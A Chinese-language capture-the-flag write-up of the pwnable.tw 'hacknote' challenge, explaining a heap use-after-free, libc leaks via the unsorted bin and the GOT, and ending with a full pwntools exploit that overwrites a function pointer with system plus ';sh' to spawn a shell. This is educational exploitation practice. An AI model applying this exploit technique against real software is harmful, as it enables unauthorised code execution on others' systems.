本题可以申请任意大小的堆块,并且在删除时未清空指针数组导致悬空指针,从而产生UAF。利用方式为通过UAF调用一个存在于堆块,并且被一系列堆操作篡改的函数指针,控制流劫持进而getshell。
- 题目地址:https://pwnable.tw/challenge/#5
- 参考WP:pwnable.tw系列
检查
➜ file hacknote
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
➜ checksec hacknote
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序,去符号表
分析
运行发现是菜单题,添加,删除,打印,和上一篇博客paper那道题目很相似,我们发现在删除功能仍然是没有清空指针数组:
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*(ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
所以很明显是一道UAF的题目,漏洞点仍然是存在悬空指针,并且可以被使用。不过本题的数据结构稍微复杂一点,在每次添加新的note时,存在两次malloc
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
每个note对于ptr指针数组中的一项,指针指向一个8个字节的空间,前4个字节为一个sub_804862B函数的地址,后4个字节为数据空间的地址。在打印数据时做出如下调用:
(*ptr[v1])(ptr[v1]);
其中便调用了sub_804862B函数,此函数如下:
int __cdecl sub_804862B(int a1)
{
return puts(*(a1 + 4));
}
很奇怪的操作吧,直接打印不好么?其实这也正是本题利用的思路,存在一个可以通过UAF控制的函数指针。相关数据结构大致结构如下:
+--------------------+
| |
| ptr |
| |
+---------+----------+
|
|
|
|
v
+---------+----------+--------------------+
| | |
malloc(8) | 0x0804862b | content_addr |
| | |
+---------+----------+-----------------+--+
| |
| |
| |
| |
v v
+---------+----------+ +------+-------------+
| | | |
| sub_804862B | | note content | malloc(x)
| | | |
| | | |
| | | |
| | | |
| | | |
+--------------------+ +--------------------+
利用
泄露libc
这题附件给了libc,而且分析也没有后门函数,所以首先肯定需要泄露libc基址。参考WP有以下两种方式泄露libc基址
- 申请unsortbin范围的堆块,释放后重新申请到,即可打印出main_arena地址
- puts出got表地址
unsortbin泄露libc基址
32位程序最大申请的fastbin的数据大小为60,所以我们申请一个64字节大小,然后free掉,就能让这个堆块加入到unsortbin的链表中。不过在free之前,还需要申请一个堆块,任意大小即可,仅仅是为了将刚才申请的堆块和topchunk隔开,防止合并,这里我们采用32字节的堆块进行隔离。所以步骤如下:
- 申请一个64字节的堆块
- 申请一个32字节的堆块
- 释放第一个堆块
gef➤ heap chunks
Chunk(addr=0x804b008, size=0x10, flags=PREV_INUSE)
[0x0804b008 00 00 00 00 18 b0 04 08 00 00 00 00 49 00 00 00 ............I...]
Chunk(addr=0x804b018, size=0x48, flags=PREV_INUSE)
[0x0804b018 b0 27 fb f7 b0 27 fb f7 00 00 00 00 00 00 00 00 .'...'..........]
Chunk(addr=0x804b060, size=0x10, flags=)
[0x0804b060 2b 86 04 08 70 b0 04 08 00 00 00 00 29 00 00 00 +...p.......)...]
Chunk(addr=0x804b070, size=0x28, flags=PREV_INUSE)
[0x0804b070 31 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1...............]
Chunk(addr=0x804b098, size=0x20f70, flags=PREV_INUSE) ← top chunk
gef➤ heap bins
[+] No Tcache in this version of libc
──────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0xf7fb2780 ────────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8] ← Chunk(addr=0x804b008, size=0x10, flags=PREV_INUSE)
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
───────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x804b010, bk=0x804b010
→ Chunk(addr=0x804b018, size=0x48, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
我们可以看到第二个堆块的确进入了unsortbin链表中,不过这有啥用呢?我们来看一下这个堆块的内存:
gef➤ x /8wx 0x804b010
0x804b010: 0x00000000 0x00000049 0xf7fb27b0 0xf7fb27b0
0x804b020: 0x00000000 0x00000000 0x00000000 0x00000000
可以看到这个堆块的fd和bk指向同一个地方,即0xf7fb27b0,这个位置就是位于libc的main_arena结构体中,那我们如何不通过调试把这个地址打印出来呢?只需要再次申请64字节的堆块,内容长度不要覆盖bk,然后调用print功能,打印0号或2号,就能把fd和bk的内容打印出来了:
gef➤ heap chunks
Chunk(addr=0x804b008, size=0x10, flags=PREV_INUSE)
[0x0804b008 2b 86 04 08 18 b0 04 08 00 00 00 00 49 00 00 00 +...........I...]
Chunk(addr=0x804b018, size=0x48, flags=PREV_INUSE)
[0x0804b018 0a 27 fb f7 b0 27 fb f7 00 00 00 00 00 00 00 00 .'...'..........]
Chunk(addr=0x804b060, size=0x10, flags=PREV_INUSE)
[0x0804b060 2b 86 04 08 70 b0 04 08 00 00 00 00 29 00 00 00 +...p.......)...]
Chunk(addr=0x804b070, size=0x28, flags=PREV_INUSE)
[0x0804b070 31 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1...............]
Chunk(addr=0x804b098, size=0x20f70, flags=PREV_INUSE) ← top chunk
gef➤ c
Continuing.
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :2
这里出现一些十六进制的乱码就是打印出来的地址,去后四个字节就是泄露出来地址
因为我们可以看到ptr数组,0号和2号是指向同一个堆块,因为0号free的时候没有堆ptr数组进行清空
gef➤ telescope 0x0804A050
0x0804a050│+0x0000: 0x0804b008 → 0x0804862b → push ebp
0x0804a054│+0x0004: 0x0804b060 → 0x0804862b → push ebp
0x0804a058│+0x0008: 0x0804b008 → 0x0804862b → push ebp
本地偏移
那么这个位置和libc的基址差多远呢?不同的libc版本下可能是不一样的,在本地的情况下我们看一下vmmap就好了:
0xf7e00000 0xf7fb0000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
即:0xf7fb27b0 - 0xf7e00000 = 0x1b27b0
远程偏移
简单的说,unsortbin距离main_arena的偏移是固定的+0x30,main_arena是堆管理器实现的过程中的一个结构体,位于libc的数据段,可以通过在IDA中观察对应libc的malloc_trim()函数f5后的结果即可获得main_arena距离libc的起始偏移,而不同版本的libc也正是main_arena距离libc的基址偏移是不同的。本题给的libc中找到地址0x1b0780,加上0x30,最终的结果为0x1b07b0。偏移的具体值0x30我们可以计算得到,下面是malloc_state结构体的定义,bins数组后续部分进行了省略:
struct malloc_state {
__libc_lock_define(, mutex);
int flags;
mfastbinptr fastbinsY[ NFASTBINS ];
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[ NBINS * 2 - 2 ];
...
};
unsortbin的fd和bk就是bins[0]和bins[1]
,所以泄露的指针是指向unsortbin的pre_size的地址:
在32位下,也就是bins前面的8个字节处,即应该是top这个变量的地址,这个变量距离这个结构体的起始地址是多少呢?top前面有三个东西:
__libc_lock_define(, mutex);
int flags;
mfastbinptr fastbinsY[ NFASTBINS ];
根据如下定义,知道mutex是个无符号整型,占4个字节,
typedef unsigned int __libc_lock_t;
#define __libc_lock_define(CLASS,NAME) \
CLASS __libc_lock_t NAME;
在根据定义算出MAX_FAST_SIZE是10,所以fastbinsY这个数组总共是40字节
#define NFASTBINS (fastbin_index(request2size(MAX_FAST_SIZE)) + 1)
#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
flag是个整型,占4个字节,加一起总共48个字节,即0x30:
但是这里好像有悖于经验,在gef调试窗口里只能看到7个fastbin的数组,所以fastbin是开了10个,只用了7个么?这里我还不知道,不过从超哥上课的课件,也好像是这个意思:
注意:通过unsortbin的这种方式,还没有利用UAF漏洞,就获得了libc的基址
puts出got表地址
这种方式其实就是通过UAF和题目给出的那个怪异的函数指针调用相结合,也就是劫持控制流的方法。首先申请大于最小的fastbin(0xc)的两个note,然后分别释放,因为这里都会malloc出那个数据空间为8个字节的最小堆块,释放后这两块都会加入到fastbin中。然后申请一个8个字节的note,这时就会把刚才释放的两块fastbin给用了,于是原来的第一个fastbin的堆块就完全可控了,show这个堆块的时候就会调用其前四个字节的函数指针,这样就可以泄露GOT地址,进而泄露libc基址了,步骤如下:
- 申请2个note,size大于0xc即可
- 释放这两个note
- 申请8个字节note,内容为p32(0x804862B) + p32(elf.got[‘puts’])
- show(0)
执行完第三步后,chunk信息如下:
gef➤ heap chunks
Chunk(addr=0xa021008, size=0x10, flags=PREV_INUSE)
[0x0a021008 2b 86 04 08 24 a0 04 08 00 00 00 00 29 00 00 00 +...$.......)...]
Chunk(addr=0xa021018, size=0x28, flags=PREV_INUSE)
[0x0a021018 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xa021040, size=0x10, flags=PREV_INUSE)
[0x0a021040 2b 86 04 08 08 10 02 0a 00 00 00 00 29 00 00 00 +...........)...]
Chunk(addr=0xa021050, size=0x28, flags=PREV_INUSE)
[0x0a021050 10 10 02 0a 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xa021078, size=0x20f90, flags=PREV_INUSE) ← top chunk
所以执行show(0)时,就可以打印出puts函数的地址,进而泄露libc基址
控制流劫持
刚才通过puts出got表地址泄露出libc基址的方式就是控制流劫持,所以这里我们采用unsortbin泄露基址之后来继续完成控制流劫持。
- 继续unsortbin泄露的步骤
- 释放掉前两个note
- 申请8个字节note,p32(system_addr)+”;sh\x00”
- show(0)
即可执行system("&system;sh")
,前面代表了system函数地址,对应到字符串是无意义的,所以前面会执行失败,通过分号之后面的sh,因为是用的system函数,所以”/bin”这个目录是在环境变量中,所以直接执行sh就可以getshell了。
exp
通过堆的一系列操作泄露出了libc基址,然后又通过堆的另一系列操作更改了堆块中的一个函数指针,通过UAF漏洞进行对该函数指针进行调用,即可利用成功:
- 堆操作
- UAF触发
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
io = remote("chall.pwnable.tw",10102)
def add(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)
def delete(num):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(num))
def show(num):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(num))
add(64,"")
add(32,"")
delete(0)
add(64,"")
show(2)
libc_base = u32(io.recv(8)[4:8])-0x1b07b0
system_addr = libc_base + libc.symbols['system']
delete(0)
delete(1)
add(8,p32(system_addr)+";sh\x00")
show(0)
io.interactive()